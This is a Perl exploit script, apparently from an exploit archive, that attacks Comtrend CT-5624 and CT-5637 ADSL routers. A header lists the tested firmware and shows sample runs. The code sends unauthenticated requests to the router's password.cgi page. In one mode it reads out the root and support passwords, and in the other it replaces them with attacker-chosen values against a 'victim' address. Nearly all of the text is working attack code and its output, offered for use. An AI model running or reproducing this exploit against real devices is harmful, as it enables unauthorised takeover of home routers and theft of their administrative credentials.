#!/usr/bin/perl
#
#  [+] Comtrend Router CT-5624 Remote Root/Support Password Disclosure/Change Exploit
#
#  Author: Todor Donev
#  Email: todor.donev@@gmail
#  Type: Hardware
#  Vuln Type: Remote
# 
#  Tested:
#  Board ID    : CT-5624
#  Software    : A011-306TSR-C01_R03
#  Bootloader  : 1.0.37-0.7-3
#  ADSL        : A2pB022c3.d20e
#
#  Board ID    : CT-5637
#  Software    : A111-312BTC-C01_R12
#  Bootloader  : 1.0.37-12.1-1
#  ADSL        : A2pB023k.d20k_rc2
#
#####
#  CT-5624 ADSL2+ Ethernet Router
#  The CT-5624 series ADSL2+ compact and high performance Ethernet router 
#  provides four 10/100 Ethernet Interfaces, and one ADSL line interface 
#  to access the Internet, incorporating LAN or Video on Demand over one 
#  ordinary telephone line, at speeds of up to 24 Mbps. It also has full 
#  routing capabilities to segment/route IP protocol, and supports advanced 
#  security functions. 
#####
#
#  playground$ perl comtrend.pl -c 192.168.1.1:80
#  [+] Comtrend CT5624 Router Remote Root/Support Password Disclosure/Change Exploit
#  [!] Target: 192.168.1.1:80
#  [o] New root password: root31337
#  [o] New support password: sup31337
#  [*] Successfully !!
##
#  playground$ perl comtrend.pl -d 192.168.1.1:80
#  [+] Comtrend CT5624 Router Remote Root/Support Password Disclosure/Change Exploit
#  [!] Target: 192.168.1.1:80
#  [o] root: root31337
#  [o] support: sup31337
##
#  playground$ perl comtrend.pl
#  [+] Comtrend CT5624 Router Remote Root/Support Password Disclosure/Change Exploit
#  [!] usg: perl comtrend.pl [-c or -d] <victim>
#  [!]  -d: Disclosure Root/Support password
#  [!]  -c: Change Root/Support password
#
#####
#  Thanks to Tsvetelina Emirska 
#  for the help and support which gives me =)
#####

use LWP::Simple;
print "[+] Comtrend CT5624 Router Remote Root/Support Password Disclosure/Change Exploit\n";
if (@ARGV == 0) {&usg;}
while (@ARGV > 0) {
$type = shift(@ARGV);
$t = shift(@ARGV);
if ($type eq "-d") {
my $r = get("http://$t/password.cgi") or die("suck!");
print "[!] Target: $t\n";
if ($r =~ m/pwdAdmin = '(.*)';/g) {
$result .= "[o] root: $1\n";
}     
if ($r =~ m/pwdSupport = '(.*)';/g) {
$result .= "[o] support: $1\n";
print $result; 
}}}
if ($type eq "-c") {
print "[!] Target: $t\n";
print "[o] New root password: ";
my $rootpass=<STDIN>;
chomp($rootpass);
print "[o] New support password: ";
my $suppass=<STDIN>;
chomp($suppass);
my $r = get("http://$t/password.cgi?sysPassword=$rootpass&sptPassword=$suppass") or die("suck!");
if ($r =~ m/pwdAdmin = '$rootpass';/g) {
print "[*] Successfully !!\n";
}}
sub usg(){
print "[!] usg: perl comtrend.pl [-c or -d] <victim>\n";
print "[!]  -d: Disclosure Root/Support password\n";
print "[!]  -c: Change Root/Support password\n";
exit;
}
